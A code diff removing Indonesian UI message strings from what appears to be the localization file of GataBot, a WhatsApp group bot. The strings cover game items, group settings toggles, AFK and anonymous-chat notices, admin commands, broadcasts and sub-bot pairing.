-const eManzana = () => { return '🍎 Apple' }
-const eNaranja = () => { return '🍊 Orange' }
-const eMango = () => { return '🥭 Mango' }
-const ePlatano = () => { return '🍌 Banana' }
-
-const eSUva = () => { return '🌾🍇 Grape seeds' }
-const eSManzana = () => { return '🌾🍎 Apple seeds' }
-const eSNaranja = () => { return '🌾🍊 Orange seeds' }
-const eSMango = () => { return '🌾🥭 Mango Seeds' }
-const eSPlatano = () => { return '🌾🍌 Banana seeds' }
-
-const eCentauro = () => { return '🐐 Centaur' }
-const eAve = () => { return '🦅 Bird' }
-const eGato = () => { return '🐈 Cat' }
-const eDragon = () => { return '🐉 Dragon' }
-const eZorro = () => { return '🦊 Fox' }
-const eCaballo = () => { return '🐎 Horse' }
-const eFenix = () => { return '🕊️ Phoenix' }
-const eLobo = () => { return '🐺 Wolf' }
-const ePerro = () => { return '🐶 Dog' }
-
-const eAMascots = () => { return '🍖 Pet Food' }
-const eCCentauro = () => { return '🐐🥩 Centaur Food' }
-const eCAve = () => { return '🦅🥩 Bird Food' }
-const eCMagica = () => { return '🌀🥩 Magic Food' }
-const eCDragon = () => { return '🐉🥩 Dragon Food' }
-const eACaballo = () => { return '🐎🥩 Horse Food' }
-const eCFenix = () => { return '🕊️🥩 Phoenix Food' }
-
-//config-on y off.js
-const smsWel1 = () => { return `🎉 SELAMAT DATANG`}
-const smsWel2 = () => { return `Pesan Selamat Datang untuk Anggota baru di Grup`}
-const smsDete1 = () => { return `🔔 PEMBERITAHUAN`}
-const smsDete2 = () => { return `Pemberitahuan tindakan dalam Grup`}
-const smsANivel1 = () => { return `🆙 TINGKAT OTOMATIS`}
-const smsANivel2 = () => { return `Tingkatkan semua orang secara otomatis; (Berlaku hadiah untuk naik level)`}
-const smsRestri1 = () => { return `⛔ UNTUK MEMBATASI`}
-const smsRestri2 = () => { return `Aktifkan fungsi untuk menambah atau menghapus orang di Grup`}
-const smsLlamar1 = () => { return `🚫 ANTI PANGGILAN`}
-const smsLlamar2 = () => { return `Blokir orang yang melakukan panggilan`}
-const smsAntiSp1 = () => { return `🚯 ANTI SPAM`}
-const smsAntiSp2 = () => { return `Larangan Penggunaan Perintah ketika seseorang melakukan beberapa jenis Spam`}
-const smsModP1 = () => { return `🌐 MODE PUBLIK`}
-const smsModP2 = () => { return `Aktifkan fungsi agar semua orang dapat menggunakan GataBot`}
-const smsModAd1 = () => { return `🛂 MODE ADMIN`}
-const smsModAd2 = () => { return `Hanya Admin yang dapat menggunakan GataBot di Grup`}
-const smsLect1 = () => { return `✅ BACAAN OTOMATIS`}
-const smsLect2 = () => { return `Tinggalkan pesan atau obrolan sebagai Dibaca`}
-const smsTempo1 = () => { return `🐈 BOT SEMENTARA`}
-const smsTempo2 = () => { return `Fungsi yang memungkinkan tinggal sementara di Grup`}
-const smsStik1 = () => { return `🎠 STIKER`}
-const smsStik2 = () => { return `Aktifkan pengiriman Stiker otomatis ke semua orang`}
-const smsStickA1 = () => { return `🪄 STIKER OTOMATIS`}
-const smsStickA2 = () => { return `Video, Gif, gambar, jpg atau tautan jpeg; Mereka akan diubah menjadi Stiker Secara Otomatis`}
-const smsReacc1 = () => { return `🤡 REAKSI `}
-const smsReacc2 = () => { return `Aktifkan pengiriman otomatis Reaksi ke pesan`}
-const smsAudi1 = () => { return `🔊 AUDIO`}
-const smsAudi2 = () => { return `Aktifkan pengiriman Audio secara otomatis ke semua orang`}
-const smsModHor1 = () => { return `🔞 MODE TANDA`}
-const smsModHor2 = () => { return `Tampilkan konten Dewasa di Obrolan`}
-const smsAntitoc1 = () => { return `☢️ ANTI TOKSIK`}
-const smsAntitoc2 = () => { return `Kirim Peringatan orang-orang yang menghina`}
-const smsModOb1 = () => { return `👀 MODE PERHATIKAN`}
-const smsModOb2 = () => { return `Jadikan Gambar, Gif, dan Video Dapat Dilihat untuk Semua Orang`}
-const smsAntiEli1 = () => { return `🗑️ ANTI HAPUS`}
-const smsAntiEli2 = () => { return `Semua pesan yang dihapus akan diteruskan ke Obrolan atau Grup`}
-const smsAntiInt1 = () => { return `🌏 ANTI INTERNASIONAL`}
-const smsAntiInt2 = () => { return `Hilangkan Nomor Internasional yang dianggap palsu`}
-const smsAntiE1 = () => { return `🔗 ANTI LINK`}
-const smsAntiE2 = () => { return `Hapus Orang yang mengirim tautan dari Grup WhatsApp`}
-const smsAntiEE1 = () => { return `🔗 ANTI LINK 2`}
-const smsAntiEE2 = () => { return `Hapus Orang yang mengirim tautan yang berisi https`}
-const smsAntiTT1 = () => { return `🔗 ANTI TIK TOK`}
-const smsAntiTT2 = () => { return `Hapus Orang yang Mengirim Tautan TikTok`}
-const smsAntiYT1 = () => { return `🔗 ANTI YOUTUBE`}
-const smsAntiYT2 = () => { return `Hapus Orang yang Mengirim Tautan YouTube`}
-const smsAntiTEL1 = () => { return `🔗 ANTI TELEGRAM`}
-const smsAntiTEL2 = () => { return `Hapus Orang yang Mengirim Tautan Telegram`}
-const smsAntiFB1 = () => { return `🔗 ANTI FACEBOOK`}
-const smsAntiFB2 = () => { return `Hapus Orang yang Mengirim Tautan Facebook`}
-const smsAntiIG1 = () => { return `🔗 ANTI INSTAGRAM`}
-const smsAntiIG2 = () => { return `Hapus Orang yang Mengirim Tautan Instagram`}
-const smsAntiTW1 = () => { return `🔗 ANTI TWITTER `}
-const smsAntiTW2 = () => { return `Hapus Orang yang Mengirim Tautan Twitter`}
-const smsSOLOP1 = () => { return `⚜️ HANYA PRIBADI`}
-const smsSOLOP2 = () => { return `Izinkan untuk digunakan hanya di Obrolan Pribadi`}
-const smsSOLOG1 = () => { return `⚜️ HANYA GRUP`}
-const smsSOLOG2 = () => { return `Izinkan untuk hanya digunakan di Obrolan Grup`}
-const smsConfi1 = () => { return `PENGATURAN`}
-const smsConfi2 = () => { return `*Halo!*`}
-const smsConfi3 = () => { return `┃ *Pilih opsi dari daftar*`}
-const smsConfi4 = () => { return `┃ *Untuk mulai mengonfigurasi*`}
-const smsConfi5 = () => { return `┃● *Pemberitahuan Konfigurasi:*`}
-const smsConfi6 = () => { return `┃ ✅ ⇢ *Fungsi Diaktifkan*`}
-const smsConfi7 = () => { return `┃ ❌ ⇢ *Fungsi dinonaktifkan*`}
-const smsConfi8 = () => { return `┃ ⚠️ ⇢ *Obrolan ini bukan Grup*`}
-const smsConfi9 = () => { return `┃ *Rekomendasi: Untuk melihat konfigurasi*\n┃ *Selesaikan gunakan Menu Grup ini*\n┃`}
-const smsConfi10 = () => { return `*~ PUSAT KONFIGURASI*`}
-const smsParaAdmins = () => { return `UNTUK ADMIN DAN CREATOR: GRUP`}
-const smsParaAdYOw = () => { return `UNTUK ADMIN DAN CREATOR : CHATS`}
-const smsParaOw = () => { return `UNTUK CREATOR : CHAT`}
-const smsNoGg = () => { return ` | ⚠️`}
-const smsMens1 = () => { return `MEMERINTAH`}
-const smsMens2 = () => { return `SAAT INI`}
-const smsMens3 = () => { return `DI DALAM`}
-const smsMens4 = () => { return `BOT`}
-const smsMens5 = () => { return `CHAT`}
-
-//Error2
-const smsMensError1 = () => { return `❕ PERINTAH LAPORAN ❕`}
-const smsMensError2 = () => { return `Perintah berikut gagal`}
-
-//_antiviewonce.js
-const smsAntiView = () => { return `*TIDAK ADA YANG BISA DISEMBUNYIKAN* 😎`}
-
-//_autolevelup.js
-const smsAutoLv1 = () => { return `🎖️ TINGKAT BARU 🎖️`}
-const smsAutoLv2 = () => { return `TINGKAT SEBELUMNYA:`}
-const smsAutoLv3 = () => { return `LEVEL SAAT INI:`}
-const smsAutoLv4 = () => { return `JANGKAUAN:`}
-const smsAutoLv5 = () => { return `TANGGAL:`}
-const smsAutoLv6 = () => { return `Anda telah mencapai level baru!!!`}
-const smsAutoLv7 = () => { return `🥳 HADIAH UNTUK TINGKAT BARU ANDA`}
-
-//_autosticker.js
-const smsAutoStik = () => { return `${lenguajeGB['smsAvisoFG']()}*VIDEO TIDAK HARUS BERAKHIR LEBIH DARI 7 DETIK.*`}
-
-//_expired.js
-const smsBottem1 = () => { return `*KELUAR DARI GRUP!!! 🤝 JIKA ANDA INGIN KEMBALI, GUNAKAN PERINTAH _#bottemporal_ UNTUK KEMBALI KE GRUP!!*`}
-const smsBottem2 = () => { return `*💕 BANTUAN PENGGUNA*\n*_${global.ig}_*\n`}
-const smsBottem3 = () => { return `SAMPAI BERJUMPA LAGI 💖`}
-
-//_premium.js
-const smsPremI = () => { return `*¡WAKTU PREMIUM ANDA HABIS!* 🎟️\n*UNTUK MENDAPATKAN PREMIUM PASS BARU GUNAKAN PERINTAH:*\n*#pass prem*`}
-
-//afk-_afk.js
-const smsAfkM1 = () => { return `*KAMU BERHENTI MENJADI AFK TIDAK AKTIF*`}
-const smsAfkM2 = () => { return `\n*ALASAN TIDAK AKTIFNYA ADALAH:*\n`}
-const smsAfkM3 = () => { return `⏳ *WAKTU KOSONG:*`}
-const smsAfkM4 = () => { return `*JANGAN TAG PENGGUNA INI!! ITU TIDAK AKTIF*\n`}
-const smsAfkM5 = () => { return `*ALASAN TIDAK AKTIFNYA AFK:*\n`}
-const smsAfkM6 = () => { return `*ALASAN TIDAK AKTIFNYA AFK:\nTIDAK MENENTUKAN ALASAN TIDAK AKTIF*`}
-const smsAfkTime = () => { return [['d.'], ['h.'], ['min.'], ['seg.']] }
-const smsAfkResultTime = smsAfkTime()
-
-//afk-afk.js
-const smsAfkQ1 = (usedPrefix, command) => { return `${lenguajeGB['smsAvisoMG']()}*TULIS ALASAN KENAPA TIDAK AKTIF (AFK)*\n\n*CONTOH:*\n*${usedPrefix + command}* Saya akan mengerjakan pekerjaan rumah`}
-const smsAfkQ2 = () => { return `${lenguajeGB['smsAvisoMG']()}*MINIMUM 10 KARAKTER HARUS MENJADI ALASAN*`}
-const smsAfkM1A = () => { return `*JANGAN TAG*`}
-const smsAfkM1B = () => { return `*AKAN AFK TIDAK AKTIF*\n\n*ALASAN TIDAK AKTIFNYA AFK:*`}
-
-//anonymous_chat.js
-const smsChatAn1 = () => { return `${lenguajeGB['smsAvisoFG']()}*ANDA TIDAK DALAM CHAT ANONIM*`}
-const smsChatAn2 = () => { return `*JIKA ANDA INGIN MEMULAI CHAT ANONIM GUNAKAN PERINTAH #start ATAU GUNAKAN TOMBOL DI BAWAH INI*\n`}
-const smsChatAn3 = () => { return `⚡ MULAI CHAT ANONIM`}
-const smsChatAn4 = () => { return `${lenguajeGB['smsAvisoRG']()}🪐 *ANDA MENINGGALKAN CHAT ANONIM*`}
-const smsChatAn5 = () => { return `${lenguajeGB['smsAvisoAG']()}*PENGGUNA LAIN MENINGGALKAN CHAT ANONIM*`}
-const smsChatAn6 = () => { return `*JIKA INGIN KE CHAT ANONIM LAIN GUNAKAN PERINTAH #start ATAU GUNAKAN TOMBOL DI BAWAH INI*\n`}
-const smsChatAn7 = () => { return `${lenguajeGB['smsAvisoAG']()}*ANDA MASIH DALAM CHAT ANONIM ATAU MENUNGGU SESEORANG UNTUK BERGABUNG KE CHAT*`}
-const smsChatAn8 = () => { return `*JIKA INGIN KELUAR DARI CHAT ANONIM GUNAKAN PERINTAH #leave ATAU BISA MENGGUNAKAN TOMBOL DI BAWAH INI*\n`}
-const smsChatAn9 = () => { return `🍁 KELUAR DARI CHAT ANONIM`}
-const smsChatAn10 = () => { return `${lenguajeGB['smsAvisoEG']()}✨ *MEREKA BISA CHAT SEKARANG*`}
-const smsChatAn11 = () => { return `*SESEORANG BERGABUNG DENGAN CHAT ANONIM!!*`}
-const smsChatAn12 = () => { return `❇️ PENGGUNA LAIN`}
-const smsChatAn13 = () => { return `${lenguajeGB['smsAvisoRG']()}🐈 *MENUNGGU SESEORANG UNTUK BERGABUNG DENGAN CHAT ANONIM, HARAP SABAR*`}
-
-//Tombol Menu
-const smsBotonM1 = () => { return `⚡ MULAI MENU ⚡`}
-const smsBotonM2 = () => { return `💫 MENU LENGKAP 💫`}
-const smsBotonM3 = () => { return `🎒 INVENTARIS 🎒`}
-const smsBotonM4 = () => { return `PENGGUNA`}
-const smsBotonM5 = () => { return `JANGKAUAN`}
-const smsBotonM6 = () => { return `TINGKAT`}
-const smsBotonM7 = () => { return `PREMIUM`}
-const smsTex1 = () => { return '*MENU CARI*'}
-const smsTex2 = () => { return '*PENGUBAH AUDIO*'}
-const smsTex3 = () => { return '*TIDAK BISA +18*'}
-const smsTex4 = () => { return '*KONTEN DINAMIS*'}
-const smsTex5 = () => { return '*CARI DAN UNDUH*'}
-const smsTex6 = () => { return '*MENU +18 PREMIUM*'}
-const smsTex7 = () => { return '⠇ *Gambar +18 kualitas dan variasi*\n⠇ *Video +18 hanya untuk Anda*\n⠇ *Stiker +18 tersedia*'}
-const smsTex8 = () => { return '*MENU KONVERTER*'}
-const smsTex9 = () => { return '*DOWNLOAD MENU*'}
-const smsTex10 = () => { return '*MENU GAME DINAMIS*'}
-const smsTex11 = () => { return '*MENU UNTUK KELOMPOK*'}
-const smsTex12 = () => { return '*MENU ALAT*'}
-const smsTex13 = () => { return '*MENU INFORMASI*'}
-const smsTex14 = () => { return '*MENU EFEK DAN LOGOS*'}
-const smsTex15 = () => { return '*MENU LOGO 2*'}
-const smsTex16 = () => { return 'MENU AUDIO'}
-const smsTex17 = () => { return '*TIDAK PERLU MENGGUNAKAN PREFIX DALAM AUDIO*'}
-const smsTex18 = () => { return 'DAFTAR SUARA'}
-const smsTex19 = () => { return '*ANDA DAPAT MEMILIH AUDIO!!*'}
-const smsTex20 = () => { return '*OWNER MENU*'}
-const smsTex21 = () => { return '*MENU RPG*'}
-const smsTex22 = () => { return '*MENU STIKER DAN FILTER*'}
-const smsTex23 = () => { return '*MEME ACAK DAN MENU ANIME*'}
-
-//info-grupos-lista.js
-const smsLisA = () => { return '_*ANDA BERADA DI KELOMPOK INI:*_'}
-const smsLisB = () => { return '*⭔ Jumlah Grup:*'}
-const smsLisC = () => { return '*⋄ Gugus:*'}
-const smsLisD = () => { return '*⋄ ID:*'}
-const smsLisE = () => { return '*⋄ Peserta:*'}
-
-//ad
-const smsMalused = () => { return '⚡ *GUNAKAN PERINTAH SEPERTI INI:*\n'}
-const smsMalused2 = () => { return `${lenguajeGB['smsAvisoMG']()}🐈 *ANDA HARUS MENGGUNAKAN PERINTAH SEPERTI CONTOH INI:*\n`}
-const smsMalused3 = () => { return `${lenguajeGB['smsAvisoMG']()}🐈 *ANDA HARUS MENGGUNAKAN PERINTAH ATAU MERESPON PESAN SESEORANG SEPERTI CONTOH INI:*\n`}
-
-//gc-config_time.js
-const smsGrupoTime1 = () => { return '🔓 *_GROUP TERBUKA DALAM SATU JAM_*'}
-const smsGrupoTime2 = () => { return '🔒 *_TUTUP GRUP DALAM SATU JAM_*'}
-const smsGrupoTime3 = () => { return '*KELOMPOK'}
-const smsGrupoTime4 = () => { return 'TERTUTUP'}
-const smsGrupoTime5 = () => { return 'MEMBUKA'}
-const smsGrupoTime6 = () => { return '*SELAMA'}
-const smsGrupoTime7 = () => { return '🔒 *GRUP DITUTUP, HANYA ADMIN YANG BISA KIRIM PESAN*'}
-const smsGrupoTime8 = () => { return '🔓 *GROUP TERBUKA, SEMUA BISA KIRIM PESAN*'}
-const smsGrupoTime9 = () => { return '🔓 GRUP TERBUKA SELAMA '}
-const smsGrupoTime10 = () => { return '🔒 TUTUP GRUP SELAMA '}
-const smsGrupoTime11 = () => { return ' JAM'}
-const smsGrupoTime12 = () => { return 'IZINKAN KELOMPOK TELAH DIKUNJUNGI '}
-const smsGrupoTime13 = () => { return 'IZINKAN GROUP UNTUK DITUTUP '}
-
-//grupo-add.js
-const smsAddB1 = () => { return `${lenguajeGB['smsAvisoFG']()}*TIDAK BISA MENAMBAH NOMOR, HARAP VERIFIKASI BENAR, MUNGKIN BARU KELUAR ATAU PRIVASI ANDA SUDAH DITETAPKAN.*`}
-const smsAddB2 = () => { return `${lenguajeGB['smsAvisoFG']()}*TIDAK DAPAT MENAMBAHKAN NOMOR, MEMVERIFIKASI BENAR, ATAU MENAMBAHKANNYA SECARA MANUAL.*`}
-
-//grupo-admins.js
-const smsAddB3 = () => { return `*PEMBERITAHUAN UNTUK ADMIN*`}
-const smsAddB4 = () => { return `*KEHADIRAN ADMIN*`}
-const smsAddB5 = () => { return `*PESAN:*`}
-const smsAddB6 = () => { return `Saya mohon kepada admin.`}
-
-//grupo-advertencia.js
-const smsAdveu1 = () => { return `${lenguajeGB['smsAvisoAG']()}*HANYA DAPAT DIGUNAKAN JIKA FUNGSI DIAKTIFKAN:*\n`}
-const smsAdveu2 = () => { return 'Alasan'}
-const smsAdveu3 = () => { return `${lenguajeGB['smsAvisoMG']()}*INGAT UNTUK MENULIS ALASAN UNTUK PERINGATAN*\n`}
-const smsAdveu4 = () => { return '*MENERIMA PERINGATAN DI GRUP INI!!*'}
-const smsAdveu5 = () => { return 'PERINGATAN'}
-const smsAdveu6 = () => { return '🎒 INVENTARIS'}
-const smsAdveu7 = () => { return '*SAYA PERINGATKAN ANDA BEBERAPA KALI!!*'}
-const smsAdveu8 = () => { return '*SEKARANG ANDA AKAN DIHAPUS* 🙄'}
-const smsAdveu9 = () => { return '😇 TERIMA KASIH'}
-const smsAdveu10 = () => { return '*PERINGATAN DIHAPUS DI GRUP INI!!*'}
-const smsAdveu11 = () => { return 'Sebelum:'}
-const smsAdveu12 = () => { return 'Sekarang:'}
-
-//grupo-demote.js || grupo-promote.js
-const smsDemott = () => { return `*NOMORNYA INVALID, COBA LAGI BALAS PESAN ORANG ATAU GUNAKAN CONTOH SEPERTI INI:*\n`}
-const smsDemott2 = () => { return '*SEKARANG MEMILIKI KEKUATAN DI GRUP!!*'}
-const smsDemott3 = () => { return '*TIDAK LAGI MEMILIKI KEKUATAN DI GRUP!!*'}
-
-//grupo-info.js
-const smsGI1 = () => { return '*INFORMASI KELOMPOK*'}
-const smsGI2 = () => { return '*ID GRUP*'}
-const smsGI3 = () => { return '*NAMA GRUP*'}
-const smsGI4 = () => { return '*DESKRIPSI KELOMPOK*'}
-const smsGI5 = () => { return '*TIDAK ADA DESKRIPSI*'}
-const smsGI6 = () => { return '*JUMLAH PENGGUNA*'}
-const smsGI7 = () => { return '*Pengguna*'}
-const smsGI8 = () => { return '*PENCIPTA GRUP*'}
-const smsGI9 = () => { return '*ADMIN GRUP*'}
-const smsGI10 = () => { return '⚙️ PENGATURAN GRUP'}
-
-
-//grupo-kick.js
-const smskick1 = () => { return `${lenguajeGB['smsAvisoAG']()}*TAG ORANG ATAU BALAS PESAN ORANG YANG INGIN ANDA HAPUS*\n\n*CONTOH: `}
-const smskick2 = () => { return `DIHAPUS 😼🫵`}
-const smskick3 = () => { return `SAYA TIDAK BISA MENGHAPUS PENCIPTA GRUP 😆🫵`}
-const smskick4 = () => { return `TIDAK DI GRUP INI 👻`}
-
-//grupo-tagall.js
-const smstagaa = () => { return `⚡ MEMANGGIL GRUP ⚡`}
-
-//grupo-setbye.js
-const smsSetB = () => { return `${lenguajeGB['smsAvisoEG']()}*PERPISAHAN GRUP TELAH DIKONFIGURASI*`}
-const smsSetB2 = () => { return `${lenguajeGB['smsAvisoIIG']()}🙌 *_TULIS PESAN PERPISAHAN_*\n*_OPSIONAL, ANDA DAPAT MENGGUNAKAN APA DENGAN "@" UNTUK MENAMBAHKAN INFORMASI LEBIH LANJUT:_*\n\n*⚡ @user (Sebutkan kepada pengguna)*\n\n*INGAT BAHWA "@" ITU OPSIONAL*`}
-
-//grupo-setwelcome.js
-const smsSetW = () => { return `${lenguajeGB['smsAvisoEG']()}*SAMBUTAN GRUP TELAH DIATUR*`}
-const smsSetW2 = () => { return `${lenguajeGB['smsAvisoIIG']()}🙌 *_TULIS PESAN SELAMAT DATANG_*\n*_OPSIONAL, ANDA DAPAT MENGGUNAKAN APA DENGAN "@" UNTUK MENAMBAHKAN INFORMASI LEBIH LANJUT:_*\n\n*⚡ @user (Sebutkan kepada pengguna)*\n*⚡ @subject (Nama grup)*\n*⚡ @desc (Deskripsi grup)*\n\n*INGAT BAHWA "@" ADALAH OPSIONAL*`}
-
-//grupo-setdesc.js
-const smsDest = () => { return `${lenguajeGB['smsAvisoEG']()}*DESKRIPSI GRUP TELAH DIKONFIGURASI*`}
-
-//grupo-setname.js
-const smsNam1 = () => { return `${lenguajeGB['smsAvisoEG']()}*NAMA GRUP TELAH DITETAPKAN*`}
-const smsNam2 = () => { return `${lenguajeGB['smsAvisoMG']()}*🙌 TULIS NAMA GRUP BARU*`}
-const smsNam3 = () => { return `${lenguajeGB['smsAvisoFG']()}*NAMA GRUP TIDAK BOLEH MEMILIKI LEBIH DARI 25 KARAKTER*`}
-
-//grupo-restaurarEnlace.js
-const smsRestGp = () => { return `${lenguajeGB['smsAvisoEG']()}*TAUTAN GROUP TELAH DIRESET*`}
-
-//Button
-const smsSig = () => { return `➡️ LANJUT ➡️`}
-const smsSigPrem = () => { return `❤️🔥 LANJUT ❤️🔥`}
-const smsCont18Porn = () => { return `🔞 *ISI* 🔞`} //texto
-const smsCont18Porn2 = () => { return `🔞 ISI 🔞`} //texto
-const smsCont18PornP = () => { return `🌟 *ISI ❤️🔥 PREMIUM* 🌟`} //texto
-const smsCont18PornP2 = () => { return `ISI ❤️🔥 PREMIUM`} //texto
-
-//propietario(a).js
-const smsJoin = (user) => { return `${packname}\n𝙀𝙎 𝙐𝙉 𝘽𝙊𝙏 𝘿𝙀 𝙒𝙃𝘼𝙏𝙎𝘼𝙋𝙋 𝙌𝙐𝙀 𝙏𝙀 𝘼𝙔𝙐𝘿𝘼𝙍𝘼 𝙍𝙀𝘼𝙇𝙄𝙕𝘼𝙍 𝘿𝙄𝙁𝙀𝙍𝙀𝙉𝙏𝙀𝙎 𝘼𝘾𝙏𝙄𝙑𝙄𝘿𝘼𝘿𝙀𝙎 🪄 𝘼𝙇 𝙋𝙍𝙄𝙑𝘼𝘿𝙊 𝙊 𝙂𝙍𝙐𝙋𝙊 𝙔 𝙏𝘼𝙈𝘽𝙄𝙀𝙉 𝙏𝙀 𝙑𝘼𝙎 𝘼 𝘿𝙄𝙑𝙀𝙍𝙏𝙄𝙍 🎈 𝘾𝙊𝙉 𝙎𝙐𝙎 𝙈𝙐𝙇𝙏𝙄𝙋𝙇𝙀𝙎 𝙁𝙐𝙉𝘾𝙄𝙊𝙉𝙀𝙎, 𝘿𝙄𝙎𝙁𝙍𝙐𝙏𝘼 𝘿𝙀 𝙂𝘼𝙏𝘼𝘽𝙊𝙏!!! 😸\n\n💖 𝙂𝘼𝙏𝘼𝘽𝙊𝙏 𝙁𝙐𝙀 𝙄𝙉𝙑𝙄𝙏𝘼𝘿𝘼 𝙋𝙊𝙍:\n@${user}`}
-const smsJoin1 = (usedPrefix, command) => { return lenguajeGB['smsAvisoMG']() + `*INGRESE EL ENLACE DE UN GRUPO*\n*EJEMPLO:*\n*${usedPrefix + command}* ${nna}`}
-const smsJoin2 = () => { return lenguajeGB['smsAvisoEG']() + `${packname}\n*SE HA UNIDO AL GRUPO ✅*`}
-
-//propietario(a).js
-const smsBCMensaje = (usedPrefix, command) => { return `*Menanggapi pesan atau menulis pesan yang digunakan ${usedPrefix + command}*`}
-const smsBCMensaje2 = () => { return `*Menanggapi pesan atau menulis pesan yang digunakan...*`}
-const smsBCMensaje3 = (totalPri, time) => { return `✅ *Mengirim pesan resmi, tunggu sebentar ${totalPri} Pesan itu dikirim ke obrolan *\n\n*Waktu Pengiriman Total Pribadi : ${time}*\n${totalPri >= 3000 ? '\nMereka tidak dikirim ke semua obrolan untuk menghindari saturasi*' : ''}`}
-
-//propietario(a.js
-const smsPropban1 = (usedPrefix, command, bot) => { return `${lenguajeGB['smsAvisoMG']()}*TAG SESEORANG ATAU BALAS PESAN PENGGUNA ATAU TULIS NOMOR YANG INGIN ANDA BALAS DARI PERINTAH*\n\n*CONTOH:*\n*${usedPrefix + command} @${bot}*`}
-const smsPropban2 = (bot) => { return `${lenguajeGB['smsAvisoFG']()}*@${bot} TIDAK DAPAT DILARANG DENGAN PERINTAH INI* 😹`}
-const smsPropban3 = (ownerNumber) => { return `${lenguajeGB.smsAvisoIIG()}😳 *SAYA TIDAK BISA MELARKAN PEMILIK @${ownerNumber} DARI ${packname}*`}
-const smsPropban4 = (number) => { return `${lenguajeGB.smsAvisoIIG()}*TIDAK PERLU BAN LAGI @${number} YA SUDAH ADA* 😊`}
-const smsPropban5 = () => { return `${lenguajeGB['smsAvisoEG']()}*PENGGUNA BERHASIL DILARANG* 🙀`}
-const smsPropban6 = (number, usr) => { return `${lenguajeGB.smsAvisoAG()}*@${number} ANDA DILARANG OLEH @${usr} ANDA TIDAK DAPAT MENGGUNAKAN PERINTAH HINGGA SESEORANG MEMBALIKKAN BAN* 😿`}
-const smsPropban7 = (usedPrefix, command, number) => { return `${lenguajeGB['smsAvisoFG']()}*KESALAHAN MUNCUL, MUNGKIN PENGGUNA TIDAK DALAM DATABASE SAYA MENCOBA MENULIS ${usedPrefix + command} ${number}*\n\`\`\`JIKA KESALAHAN TERUS LANGSUNG LAPORKAN PERINTAH INI\`\`\``}
-
-//propietario(a).js
-const smsBCbot1 = () => { return `✅ *Pesan :*`}
-const smsBCbot2 = () => { return `Pribadi`}
-const smsBCbot3 = () => { return `Gugus`}
-const smsBCbot4 = () => { return `Total`}
-const smsBCbot5 = () => { return `Total waktu pengiriman :`}
-const smsBCbot6 = () => { return `Mereka tidak dikirim ke semua obrolan untuk menghindari saturasi`}
-const smsBCbot7 = () => { return `✅ *Pernyataan resmi* ✅`}
-
-//propietario(a).js
-const smsChatGP1 = () => { return "*Mengirim pesan, tunggu sebentar...*"}
-const smsChatGP2 = (readMS, dia, mes, año, fecha, tiempo) => { return `✅ *pernyataan resmi* ✅\n${readMS}\n\`\`\`${dia}, ${mes} ${año}\`\`\`\n\`\`\`${fecha} || ${tiempo}\`\`\`\n\n`}
-const smsChatGP3 = (totalGP) => { return `✅ *Pesan itu dikirim ke ${totalGP} grup*`}
-
-//jadibot-serbot.js
-const smsIniJadi = () => { return `*⊹ • • • ミ★ ${global.packname} ミ★• • • ⊹*\n\n*ღ Versi dari ${global.packname} » _${global.vs}_*\n*ღ Versi JadiBot » _${global.vsJB}_*\n\n🟢 *_FUNGSI MENJADI SUB BOT_* 🟢\n\n*➡️ Dengan ponsel atau PC lain, pindai QR ini untuk menjadi Sub Bot*\n\n*1️⃣ Pergi ke tiga titik di sudut kanan atas*\n*2️⃣ Buka opsi Perangkat yang Dipasangkan*\n*3️⃣ Pindai kode QR ini untuk masuk*\n\n📢 *¡Kode QR ini kedaluwarsa dalam 45 detik!*`}
-const smsSoloOwnerJB = () => { return `${lenguajeGB['smsAvisoAG']()}*PERINTAH INI DINONAKTIFKAN OLEH PEMILIK SAYA*`}
-const smsJBPrincipal = () => { return `${lenguajeGB['smsAvisoAG']()}🔵 *UNTUK JADI SUB BOT MASUK KE NOMOR UTAMA*\n*ღ Masukkan tautan berikut:*\n`}
-const smsJBConexion = () => { return `${lenguajeGB['smsAvisoFG']()}🟡 *KONEKSI TELAH DITUTUP DENGAN CARA YANG TIDAK TERDUGA, KAMI AKAN MENCOBA MENGHUBUNGKAN KEMBALI...*`}
-const smsJBConexionClose = () => { return `${lenguajeGB['smsAvisoFG']()}🔴 *KONEKSI TELAH DITUTUP, ANDA HARUS MENGHUBUNGKAN SECARA MANUAL MENGGUNAKAN #jadibot PERINTAH DAN PINDAI ULANG KODE QR BARU*`}
-const smsJBConexionTrue = () => { return `${lenguajeGB['smsAvisoEG']()}🟢 *KONEKSI SUKSES!!!*`}
-const smsJBConexionTrue2 = () => { return `${lenguajeGB['smsAvisoEG']()}🟢 *KONEKSI SUKSES!!! ANDA DAPAT MENGHUBUNGKAN MENGGUNAKAN:*`}
-const smsJBCargando = () => { return `${lenguajeGB['smsAvisoIIG']()}⚪ *TERHUBUNG!! SILAKAN TUNGGU PESAN sedang DIMUAT...*\n\n♻️ *PILIHAN YANG TERSEDIA:*\n*» #stop _(Hentikan Fitur Sub Bot)_*\n*» #deletesesion _(Hapus semua jejak Sub Bot)_*\n*» #jadibot _(Dapatkan kode QR baru untuk menjadi Sub Bot)_*`}
-const smsJBInfo1 = () => { return `💖 *LINK BERMANFAAT*`}
-const smsJBInfo2 = () => { return `💖 *Fungsinya stabil, jika menimbulkan ketidaknyamanan Hubungi surat: centergatabot@gmail.com*\n💝 *Anda dapat memberikan sumbangan sukarela melalui PayPal: ${global.paypal}*\n\n*Terima kasih banyak atas dukungan ${global.packname}*`}
-
-//jadibot-deleteSesion.js
-const smsJBDel = () => { return `${lenguajeGB['smsAvisoAG']()}*GUNAKAN PERINTAH INI KE BOT UTAMA*`}
-const smsJBAdios = () => { return `${lenguajeGB['smsAvisoEG']()}*AKU AKAN MERINDUKANMU ${global.packname} SELAMAT TINGGAL!! 🥹*`}
-const smsJBCerrarS = () => { return `${lenguajeGB['smsAvisoEG']()}*ANDA TELAH KELUAR DAN MENGHAPUS SEMUA JEJAK*`}
-const smsJBErr = () => { return `*ANDA TELAH LOG OUT SEBAGAI SUB BOT* ♻️`}
-
-//comandos+18-adult.js
-const smsContAdult = () => { return `${lenguajeGB['smsAvisoAG']()}*PERINTAH 🔞 MEREKA CACAT, JIKA ANDA ADALAH CREATOR SAYA GUNAKAN #on modohorny*`}
-
-//comandos+18-menu.js
-const smsList1 = () => { return `Tidak punya cukup `}
-const smsList2 = () => { return `\nKlik di sini untuk membeli `}
-const smsList3 = () => { return `Konten yang tersedia 😸`}
-const smsList4 = () => { return `Konten tidak tersedia 😿\nKlik di sini untuk membeli `}
-const smsList5 = () => { return `*Pilih opsi*\n*dari daftar untuk melihat*\n*isi* 😋`}
-const smsList6 = () => { return `👀 LIHAT DAFTAR 👀`}
-
-//descargas-consejos.js
